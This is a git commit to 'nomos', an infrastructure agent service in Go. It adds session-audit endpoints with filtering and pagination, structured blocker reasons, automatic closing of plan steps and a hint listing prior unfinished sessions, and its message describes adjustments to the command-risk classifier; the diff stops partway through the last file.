feat(nomos): session-review improvements (P0/P1/P2 from 2026-07-20 audit)

Classifier now unwraps pct exec / qm guest exec / bash -c / sh -c / sudo and env-var assignments before classification, so read-only inspection wrapped in pct exec no longer escalates to config_mutation. curl GET (default method, no -d/-F/-T/-o/>) is read-only. Eliminates the three duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) that bounced off the classifier for the same goal. New classify_command MCP tool: command-scoped preflight that returns the exact risk class run would assign. Documented in SOUL.md with guidance to pre-classify before run when the verdict is uncertain. set_goal surfaces prior partial/failed sessions from the last 24h so the agent picks up the thread instead of rediscovering it. completeTask auto-closes in-flight plan steps (pending/running -> done on success, skipped on partial/failure), so one-step plans no longer need the per-step running->done dance right before completion. Migration 021 adds blocker + closed_at to agent_sessions. completeTask sets closed_at once and derives a structured blocker reason (approval_timeout, user_abandoned, classifier_overreach, model_refusal, tool_error, ...) from the last assistant message. /sessions list now carries message_count, tool_call_count, duration_seconds (server-side aggregates — no more N+1 transcript fetches to audit a fleet). GET /sessions/{id} returns both metadata and messages. New query params filter + paginate: outcome, status, entity_id, blocker, since (RFC3339 or Go duration), cursor, limit. Titles now prefer the goal when set; sessions without a goal fall back to the first assistant text. New GET /sessions/{id}/tool_calls flat view for audit scripts. Plan: plans/2026-07-20-session-review-ten-sessions.md. VERSION 0.7.12 -> 0.7.13.
2026-07-20 11:32:31 +02:00
parent 9f4d645d06
commit e055a7c6ce
11 changed files with 1116 additions and 48 deletions
--- a/2
+++ b/2
@@ -1 +1 @@
-0.7.12
+0.7.13
--- a/cmd/nomos/main.go
+++ b/cmd/nomos/main.go
@@ -11,6 +11,7 @@ import (
 	"net/http"
 	"os"
 	"os/signal"
+	"strconv"
 	"strings"
 	"sync"
 	"syscall"
@@ -352,8 +353,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {

 	// Generate a meaningful title from the assistant's first answer
 	// instead of reusing the raw user message for every session.
+	// P2.9 (2026-07-20): prefer the goal as the title when one is set —
+	// the first assistant text is often a greeting or narrative that
+	// doesn't describe the task ("Hey! 👋 Nomos here, running on
+	// mac-mini:8092..."). The goal is the operator's actual intent.
+	// Sessions that never call set_goal (pure Q&A) fall back to the
+	// assistant text, which is still better than the raw user message.
 	if finalText != "" && sessionID != "ephemeral" {
-		title := truncate(finalText, 80)
+		var goalTitle string
+		if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
+			goalTitle = truncate(sess.Goal, 120)
+		}
+		title := goalTitle
+		if title == "" {
+			title = truncate(finalText, 80)
+		}
 		if title != "" {
 			st.updateSessionTitle(pctx, sessionID, title)
 		}
@@ -371,13 +385,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
 		return
 	}

-	sessions, err := st.listSessions(r.Context())
+	// P2.8 (2026-07-20): filtering + pagination. The audit script in
+	// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
+	// client-side; "show me partial sessions touching lxc:rclone"
+	// required fetching the full list and filtering in JS. Push the
+	// filters into SQL so the audit becomes a single `curl | jq`.
+	// Supported query params (all optional, composable):
+	//   ?outcome=partial|success|failure       — exact match on outcome
+	//   ?status=active|done|failed|executing   — exact match on status
+	//   ?entity_id=<uuid>                      — exact match on entity_id
+	//   ?since=<RFC3339 or duration>           — last_active_at >= ...
+	//   ?blocker=<reason>                      — exact match on blocker
+	//   ?limit=<int>                           — default 50, max 200
+	//   ?cursor=<iso timestamp>                — last_active_at < cursor (page back)
+	q := r.URL.Query()
+	limit := 50
+	if v := q.Get("limit"); v != "" {
+		if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
+			limit = n
+		}
+	}
+	sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
+		Outcome:  q.Get("outcome"),
+		Status:   q.Get("status"),
+		EntityID: q.Get("entity_id"),
+		Blocker:  q.Get("blocker"),
+		Since:    q.Get("since"),
+		Cursor:   q.Get("cursor"),
+		Limit:    limit,
+	})
 	if err != nil {
 		http.Error(w, err.Error(), 500)
 		return
 	}
+	// Next-page cursor: the oldest last_active_at in this page. The next
+	// request passes it as ?cursor=... to get the page before it. Empty
+	// when the list is exhausted.
+	var nextCursor string
+	if len(sessions) > 0 {
+		oldest := sessions[len(sessions)-1].LastActiveAt
+		nextCursor = oldest.UTC().Format(time.RFC3339Nano)
+		if len(sessions) < limit {
+			nextCursor = "" // last page
+		}
+	}
 	w.Header().Set("Content-Type", "application/json")
-	json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
+	json.NewEncoder(w).Encode(map[string]any{
+		"sessions":    sessions,
+		"next_cursor": nextCursor,
+		"limit":       limit,
+	})
 }

 func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
@@ -417,6 +474,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
 	// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
 	// the context panel when it first opens a task; live events carry deltas
 	// from there.
+	// GET /sessions/{id}/tool_calls — flat view of every tool call in the
+	// session, without the two-level message-shell nesting. The audit at
+	// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
+	// Python to walk messages[].content.tool_calls[]; this endpoint makes
+	// it a single `curl | jq`.
 	if len(parts) == 2 && r.Method == http.MethodGet {
 		switch parts[1] {
 		case "plan":
@@ -437,6 +499,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
 			w.Header().Set("Content-Type", "application/json")
 			json.NewEncoder(w).Encode(map[string]any{"questions": questions})
 			return
+		case "tool_calls":
+			calls, err := st.getSessionToolCalls(r.Context(), id)
+			if err != nil {
+				http.Error(w, err.Error(), 500)
+				return
+			}
+			w.Header().Set("Content-Type", "application/json")
+			json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
+			return
 		}
 	}

@@ -449,14 +520,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
 		w.WriteHeader(204)

 	case http.MethodGet:
-		// getMessages alone can't distinguish "session exists but has no
-		// messages yet" from "session id doesn't exist at all" — it's a
-		// plain WHERE session_id=$1 query that returns zero rows either
-		// way. A frontend window opened for a deleted/invalid session
-		// (persisted layout, a stale link) needs to tell those apart, so
-		// check existence explicitly and 404 rather than silently
-		// returning an empty transcript that looks like a fresh task.
-		if _, err := st.getSession(r.Context(), id); err != nil {
+		// P2.7 (2026-07-20): return BOTH session metadata and messages
+		// from GET /sessions/{id}. Previously this endpoint returned only
+		// {session_id, messages} — the operator had to merge with the
+		// /sessions list view to get title/goal/outcome. The eval harness
+		// at cmd/nomos/eval/main.go:302-303 already carries a comment
+		// about this leaky abstraction. The session field carries the
+		// full metadata: title, goal, outcome, summary, blocker,
+		// pending_approvals, message_count, tool_call_count, etc. The
+		// messages field is unchanged. Clients that only read
+		// `messages` keep working.
+		sess, err := st.getSession(r.Context(), id)
+		if err != nil {
 			if err == pgx.ErrNoRows {
 				http.Error(w, "session not found", 404)
 				return
@@ -470,7 +545,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
 			return
 		}
 		w.Header().Set("Content-Type", "application/json")
-		json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
+		json.NewEncoder(w).Encode(map[string]any{
+			"session_id": id,
+			"session":    sess,
+			"messages":   messages,
+		})

 	default:
 		http.Error(w, "method not allowed", 405)
--- a/cmd/nomos/store.go
+++ b/cmd/nomos/store.go
@@ -86,18 +86,39 @@ func (s *store) close() {
 // session is a chat session elevated to a task: goal-structured work with a
 // lifecycle status and an outcome (see migration 018 / the task-board plan).
 // Outcome/Summary/EntityID are empty until set, hence omitempty.
+//
+// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
+// partial/failed and WHEN it actually closed. ClosedAt is distinct from
+// LastActiveAt — the latter is touched on any access (including a UI
+// transcript view), the former is set ONCE at completion. Without it,
+// "duration" computed as last_active - created lies for reopened sessions
+// (a51e2086 reported 4-day duration because the operator reopened it).
+// Blocker is a short structured reason: approval_timeout,
+// classifier_overreach, user_abandoned, tool_error, etc. See
+// plans/2026-07-20-session-review-ten-sessions.md P1.5.
 type session struct {
-	ID               string    `json:"id"`
-	Title            string    `json:"title"`
-	Actor            string    `json:"actor"`
-	Goal             string    `json:"goal"`
-	Status           string    `json:"status"`
-	Outcome          string    `json:"outcome,omitempty"`
-	Summary          string    `json:"summary,omitempty"`
-	EntityID         string    `json:"entity_id,omitempty"`
-	PendingApprovals int       `json:"pending_approvals"`
-	CreatedAt        time.Time `json:"created_at"`
-	LastActiveAt     time.Time `json:"last_active_at"`
+	ID               string     `json:"id"`
+	Title            string     `json:"title"`
+	Actor            string     `json:"actor"`
+	Goal             string     `json:"goal"`
+	Status           string     `json:"status"`
+	Outcome          string     `json:"outcome,omitempty"`
+	Summary          string     `json:"summary,omitempty"`
+	EntityID         string     `json:"entity_id,omitempty"`
+	PendingApprovals int        `json:"pending_approvals"`
+	Blocker          string     `json:"blocker,omitempty"`
+	CreatedAt        time.Time  `json:"created_at"`
+	LastActiveAt     time.Time  `json:"last_active_at"`
+	ClosedAt         *time.Time `json:"closed_at,omitempty"`
+	// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
+	// "how big was this task?" without N+1 transcript fetches. The audit
+	// had to pull every session's full message tree to count tool calls —
+	// ~600 KB of JSON for 10 sessions. With these, the list view is a
+	// single round trip. omitempty so getSession for a brand-new session
+	// with zero activity doesn't emit zeros.
+	MessageCount    int `json:"message_count,omitempty"`
+	ToolCallCount   int `json:"tool_call_count,omitempty"`
+	DurationSeconds int `json:"duration_seconds,omitempty"`
 }

 type message struct {
@@ -315,14 +336,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
 }

 func (s *store) listSessions(ctx context.Context) ([]session, error) {
+	return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
+}
+
+// listFilter carries the optional WHERE/ORDER clauses added by P2.8
+// (filtering & pagination). All fields optional; empty values are no-ops.
+// The handler in main.go parses query params into this struct so the SQL
+// builder here is the single source of truth for what filters exist.
+type listFilter struct {
+	Outcome  string // exact match on outcome (success/partial/failure)
+	Status   string // exact match on status (active/done/failed/executing)
+	EntityID string // exact match on entity_id (UUID)
+	Blocker  string // exact match on blocker reason
+	Since    string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
+	Cursor   string // last_active_at < cursor (RFC3339) — page back in time
+	Limit    int    // default 50, clamped by the handler
+}
+
+func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
 	if s == nil {
 		return nil, nil
 	}
-	rows, err := s.pool.Query(ctx,
-		`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
-		        COALESCE(s.entity_id::text, ''),
-		        COALESCE(pa.cnt, 0),
-		        s.created_at, s.last_active_at
+	if f.Limit <= 0 {
+		f.Limit = 50
+	}
+	// Build the WHERE clause dynamically. We use a single args slice with
+	// $N placeholders to keep pgx happy; the index increments per clause.
+	var (
+		where []string
+		args  []any
+		n     = 1
+	)
+	if f.Outcome != "" {
+		where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
+		args = append(args, f.Outcome)
+		n++
+	}
+	if f.Status != "" {
+		where = append(where, fmt.Sprintf("s.status = $%d", n))
+		args = append(args, f.Status)
+		n++
+	}
+	if f.EntityID != "" {
+		// Accept UUID or string; cast gracefully if invalid.
+		if _, err := uuid.Parse(f.EntityID); err == nil {
+			where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
+			args = append(args, f.EntityID)
+			n++
+		}
+	}
+	if f.Blocker != "" {
+		where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
+		args = append(args, f.Blocker)
+		n++
+	}
+	if f.Since != "" {
+		// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
+		// Try timestamp first, fall back to duration relative to now.
+		if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
+			where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
+			args = append(args, t)
+			n++
+		} else if d, err := time.ParseDuration(f.Since); err == nil {
+			where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
+			args = append(args, d.Seconds())
+			n++
+		}
+		// Unknown format: silently drop the filter — better than erroring
+		// out and breaking the whole list. Caller can validate if needed.
+	}
+	if f.Cursor != "" {
+		if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
+			where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
+			args = append(args, t)
+			n++
+		}
+	}
+	whereClause := ""
+	if len(where) > 0 {
+		whereClause = "WHERE " + strings.Join(where, " AND ")
+	}
+	args = append(args, f.Limit)
+	limitArg := fmt.Sprintf("$%d", n)
+
+	query := fmt.Sprintf(`
+		SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
+		       COALESCE(s.entity_id::text, ''),
+		       COALESCE(pa.cnt, 0),
+		       COALESCE(s.blocker, ''),
+		       s.created_at, s.last_active_at, s.closed_at,
+		       COALESCE(msg.cnt, 0),
+		       COALESCE(act.cnt, 0),
+		       COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
 		 FROM agent_sessions s
 		 LEFT JOIN (
 		   SELECT l.session_id, COUNT(*) AS cnt
@@ -331,7 +436,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
 		   WHERE e.status = 'pending_approval'
 		   GROUP BY l.session_id
 		 ) pa ON pa.session_id = s.id
-		 ORDER BY s.last_active_at DESC LIMIT 50`)
+		 LEFT JOIN (
+		   SELECT session_id, COUNT(*) AS cnt
+		   FROM agent_messages
+		   GROUP BY session_id
+		 ) msg ON msg.session_id = s.id
+		 LEFT JOIN (
+		   SELECT session_id::uuid AS sid, COUNT(*) AS cnt
+		   FROM agent_activity
+		   WHERE session_id IS NOT NULL AND session_id <> ''
+		   GROUP BY session_id
+		 ) act ON act.sid = s.id
+		 %s
+		 ORDER BY s.last_active_at DESC
+		 LIMIT %s`, whereClause, limitArg)
+
+	rows, err := s.pool.Query(ctx, query, args...)
 	if err != nil {
 		return nil, err
 	}
@@ -342,7 +462,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
 		var sess session
 		if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
 			&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
-			&sess.CreatedAt, &sess.LastActiveAt); err != nil {
+			&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
+			&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
 			return nil, err
 		}
 		out = append(out, sess)
@@ -356,18 +477,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
 	}
 	var sess session
 	err := s.pool.QueryRow(ctx,
-		`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
-		        COALESCE(entity_id::text, ''), 0, created_at, last_active_at
-		 FROM agent_sessions WHERE id = $1`, id).
+		`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
+		        COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
+		        s.created_at, s.last_active_at, s.closed_at,
+		        COALESCE(msg.cnt, 0),
+		        COALESCE(act.cnt, 0),
+		        COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
+		 FROM agent_sessions s
+		 LEFT JOIN (
+		   SELECT session_id, COUNT(*) AS cnt
+		   FROM agent_messages
+		   WHERE session_id = $1::uuid
+		   GROUP BY session_id
+		 ) msg ON msg.session_id = s.id
+		 LEFT JOIN (
+		   SELECT session_id::uuid AS sid, COUNT(*) AS cnt
+		   FROM agent_activity
+		   WHERE session_id IS NOT NULL AND session_id <> ''
+		     AND session_id::uuid = $1::uuid
+		   GROUP BY session_id
+		 ) act ON act.sid = s.id
+		 WHERE s.id = $1`, id).
 		Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
 			&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
-			&sess.CreatedAt, &sess.LastActiveAt)
+			&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
+			&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
 	if err != nil {
 		return nil, err
 	}
 	return &sess, nil
 }

+// recentPartialSessions returns recent sessions (within `since`) whose outcome
+// is partial or failed, excluding the current session. Used by the set_goal
+// handler to surface prior unfinished work on the same problem — three
+// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
+// the classifier because each new session started from scratch. Surfacing the
+// prior session's goal + summary at set_goal time lets the agent pick up the
+// thread instead of rediscovering it. See
+// plans/2026-07-20-session-review-ten-sessions.md P1.3.
+func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
+	if s == nil {
+		return nil, nil
+	}
+	rows, err := s.pool.Query(ctx,
+		`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
+		        COALESCE(s.entity_id::text, ''),
+		        COALESCE(pa.cnt, 0),
+		        COALESCE(s.blocker, ''),
+		        s.created_at, s.last_active_at, s.closed_at,
+		        COALESCE(msg.cnt, 0),
+		        COALESCE(act.cnt, 0),
+		        COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
+		 FROM agent_sessions s
+		 LEFT JOIN (
+		   SELECT l.session_id, COUNT(*) AS cnt
+		   FROM nomos_plan_executions l
+		   JOIN executions e ON e.entity_id = l.execution_id
+		   WHERE e.status = 'pending_approval'
+		   GROUP BY l.session_id
+		 ) pa ON pa.session_id = s.id
+		 LEFT JOIN (
+		   SELECT session_id, COUNT(*) AS cnt
+		   FROM agent_messages
+		   GROUP BY session_id
+		 ) msg ON msg.session_id = s.id
+		 LEFT JOIN (
+		   SELECT session_id::uuid AS sid, COUNT(*) AS cnt
+		   FROM agent_activity
+		   WHERE session_id IS NOT NULL AND session_id <> ''
+		   GROUP BY session_id
+		 ) act ON act.sid = s.id
+		 WHERE s.id <> $1
+		   AND s.last_active_at >= now() - ($2 * interval '1 second')
+		   AND COALESCE(s.outcome, '') IN ('partial', 'failed')
+		 ORDER BY s.last_active_at DESC
+		 LIMIT 10`,
+		excludeSessionID, since.Seconds())
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	var out []session
+	for rows.Next() {
+		var sess session
+		if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
+			&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
+			&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
+			&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
+			return nil, err
+		}
+		out = append(out, sess)
+	}
+	return out, rows.Err()
+}
+
 // getMessages returns a session's ENTIRE message history, unbounded — used
 // for the UI's own transcript view (GET /sessions/{id}), where the operator
 // should be able to see everything a task has done regardless of how long
@@ -397,6 +602,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
 	return out, rows.Err()
 }

+// SessionToolCall is the flat view of one tool call as exposed by
+// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
+// drops the message-shell wrapping. Args/Result are kept as RawMessage so
+// the caller can decide how to render them (the audit case wanted raw
+// text sizes, but other callers may want full JSON).
+type SessionToolCall struct {
+	ID        string          `json:"id"`
+	Name      string          `json:"name"`
+	Args      json.RawMessage `json:"args,omitempty"`
+	Result    json.RawMessage `json:"result,omitempty"`
+	Error     string          `json:"error,omitempty"`
+	Type      string          `json:"type,omitempty"` // "tool_use" or "tool_result"
+	MessageID string          `json:"message_id"`
+	Role      string          `json:"role"`
+	Seq       int             `json:"seq"` // 1-indexed position within the session (across all messages)
+	CreatedAt time.Time       `json:"created_at"`
+}
+
+// getSessionToolCalls walks a session's messages and returns a flat list of
+// tool calls in chronological order, without the two-level message nesting.
+// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
+// write Python to walk messages[].content.tool_calls[]; this method makes
+// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
+// is emitted as two rows (same id, different Type), preserving the
+// persisted shape — clients that want the merged shape can group by ID.
+func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
+	if s == nil {
+		return nil, nil
+	}
+	msgs, err := s.getMessages(ctx, sessionID)
+	if err != nil {
+		return nil, err
+	}
+	var out []SessionToolCall
+	seq := 0
+	for _, m := range msgs {
+		var payload struct {
+			ToolCalls []struct {
+				ID     string          `json:"id"`
+				Type   string          `json:"type"`
+				Name   string          `json:"name"`
+				Args   json.RawMessage `json:"args"`
+				Result json.RawMessage `json:"result"`
+				Error  string          `json:"error"`
+			} `json:"tool_calls"`
+		}
+		if err := json.Unmarshal(m.Content, &payload); err != nil {
+			continue
+		}
+		for _, tc := range payload.ToolCalls {
+			if tc.ID == "" {
+				continue
+			}
+			seq++
+			out = append(out, SessionToolCall{
+				ID:        tc.ID,
+				Name:      tc.Name,
+				Args:      tc.Args,
+				Result:    tc.Result,
+				Error:     tc.Error,
+				Type:      tc.Type,
+				MessageID: m.ID,
+				Role:      m.Role,
+				Seq:       seq,
+				CreatedAt: m.CreatedAt,
+			})
+		}
+	}
+	return out, nil
+}
+
 // getRecentMessages returns the most recent `limit` messages for sessionID,
 // in chronological order, plus whether older messages exist beyond that
 // window. Used specifically for LLM replay (chatWith): without a bound,
@@ -528,7 +804,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
 		`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
 		sessionID)
 	if _, err := s.pool.Exec(ctx,
-		`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
+		`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
 		sessionID, goal); err != nil {
 		return err
 	}
@@ -809,6 +1085,27 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
 	s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
 		WHERE session_id = $1 AND continued_at IS NULL`, sessionID)

+	// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
+	// doesn't need an update_plan_step(running)→update_plan_step(done)
+	// dance for each step right before completion. Session 8c76bb3a
+	// (greeting + title-sync test) burned 4 update_plan_step calls for a
+	// one-step plan. completeTask is the authoritative terminal — any
+	// step still in pending/running when the task ends is closed (as
+	// "done" for success, "skipped" for partial/failure) so the UI's plan
+	// view doesn't show orphaned running steps on a completed task.
+	// Replaced/cancelled/blocked steps are left alone.
+	closeStatus := "done"
+	if outcome != "success" {
+		closeStatus = "skipped"
+	}
+	if _, err := s.pool.Exec(ctx, `
+		UPDATE session_plan_steps
+		SET status = $3, finished_at = COALESCE(finished_at, now())
+		WHERE session_id = $1 AND status IN ('pending', 'running')`,
+		sessionID, "", closeStatus); err != nil {
+		slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
+	}
+
 	// Clean up assent and destructive window keys from autonomy_settings.
 	s.pool.Exec(ctx, `DELETE FROM autonomy_settings
 		WHERE key LIKE '%:' || $1`, sessionID)
@@ -817,9 +1114,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
 	if outcome == "failure" {
 		status = "failed"
 	}
+	// P1.5 (2026-07-20): derive a structured blocker reason when the
+	// outcome is partial/failed, so trend analysis can answer "why are
+	// sessions failing?" without parsing free-text summaries. Three
+	// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
+	// bounced off the classifier; without a blocker field, the *why* was
+	// buried in the last assistant message. The signatures matched here
+	// are the recurring ones from the 2026-07-20 session audit. Empty for
+	// success — that's not a blocker.
+	blocker := ""
+	if outcome != "success" {
+		blocker = deriveBlocker(ctx, s, sessionID, summary)
+	}
 	if _, err := s.pool.Exec(ctx, `
-		UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
-		WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
+		UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
+		                          blocker = $5, closed_at = now(), last_active_at = now()
+		WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
 		return err
 	}
 	var entID uuid.UUID
@@ -837,10 +1147,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
 	}
 	_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
 		map[string]any{"status": status, "outcome": outcome, "summary": summary,
-			"cancelled_executions": cancelledCount})
+			"cancelled_executions": cancelledCount, "blocker": blocker})
 	return nil
 }

+// blockerPatterns maps a substring (case-insensitive) to a structured blocker
+// reason. Order matters — earlier patterns take precedence. These are the
+// recurring failure signatures from the 2026-07-20 session audit. A
+// real-world blocker that doesn't match any of these falls through to
+// "uncategorized" — better than empty, because empty means "we don't know
+// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
+var blockerPatterns = []struct {
+	pattern string
+	reason  string
+}{
+	{"queued for approval", "approval_timeout"},
+	{"assent window", "approval_timeout"},
+	{"cancel", "user_abandoned"},
+	{"close this session", "user_abandoned"},
+	{"lets just close", "user_abandoned"},
+	{"classifier flagged", "classifier_overreach"},
+	{"config_mutation", "classifier_overreach"},
+	{"refus", "model_refusal"}, // refuses/refused/refusal
+	{"empty response", "model_empty_response"},
+	{"no local knowledge", "missing_knowledge"},
+	{"can't run", "missing_capability"},
+	{"cannot run", "missing_capability"},
+	{"timeout", "tool_error"},
+	{"error", "tool_error"},
+}
+
+// deriveBlocker scans the last assistant message + the summary for known
+// failure signatures and returns the matching structured reason. Returns
+// "uncategorized" when outcome is partial/failed but no signature matched —
+// better than "" because the audit needs to know this WAS blocked, just for
+// an unknown reason. Returns "" for success outcomes (caller checks first).
+func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
+	// Pull the last assistant text — that's where the agent's parting
+	// words explain why it didn't finish.
+	var lastText string
+	_ = s.pool.QueryRow(ctx, `
+		SELECT content::text FROM agent_messages
+		WHERE session_id = $1 AND role = 'assistant'
+		ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
+	haystack := strings.ToLower(lastText + " " + summary)
+	for _, p := range blockerPatterns {
+		if strings.Contains(haystack, p.pattern) {
+			return p.reason
+		}
+	}
+	return "uncategorized"
+}
+
 // hadEntityWriteback checks whether this session called update_entity_attributes
 // or create_relationship — used by complete_task to warn the agent when it
 // forgot to persist entity facts (the #1 cause of knowledge graph drift).
--- a/cmd/nomos/tasks.go
+++ b/cmd/nomos/tasks.go
@@ -6,6 +6,7 @@ import (
 	"fmt"
 	"log/slog"
 	"strings"
+	"time"
 )

 // Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
@@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
 		// what the SOUL.md "approve the plan, not each step" model actually
 		// describes. set_goal records the goal + flips status to executing
 		// and nothing more.
-		return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
+		response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
+		// P1.3 (2026-07-20): surface prior partial/failed sessions for the
+		// same problem so the agent can pick up the thread instead of
+		// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
+		// cb8c8a4a) all bounced off the classifier because each new session
+		// started from scratch. The agent gets a hint with the prior
+		// goal + summary; if it looks related, search_knowledge or open
+		// the prior session's transcript (GET /sessions/{id}) before
+		// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
+		prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
+		if len(prior) > 0 {
+			var b strings.Builder
+			b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
+			for i, p := range prior {
+				if i >= 5 {
+					b.WriteString(fmt.Sprintf("\n  ...and %d more", len(prior)-5))
+					break
+				}
+				sum := p.Summary
+				if sum == "" {
+					sum = "(no summary)"
+				}
+				if len(sum) > 200 {
+					sum = sum[:200] + "..."
+				}
+				b.WriteString(fmt.Sprintf("\n  - %s (sid %s, outcome=%s): %s",
+					p.Goal, p.ID[:8], p.Outcome, sum))
+			}
+			b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
+			response += b.String()
+		}
+		return response, true

 	case "propose_plan":
 		raw, _ := args["steps"].([]any)
--- a/internal/mcp/tools.go
+++ b/internal/mcp/tools.go
@@ -7,6 +7,7 @@ import (
 	"strings"

 	"github.com/dtoro/oikos/internal/db"
+	"github.com/dtoro/oikos/internal/policy"
 	"github.com/google/uuid"
 	"github.com/modelcontextprotocol/go-sdk/mcp"
 )
@@ -704,6 +705,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
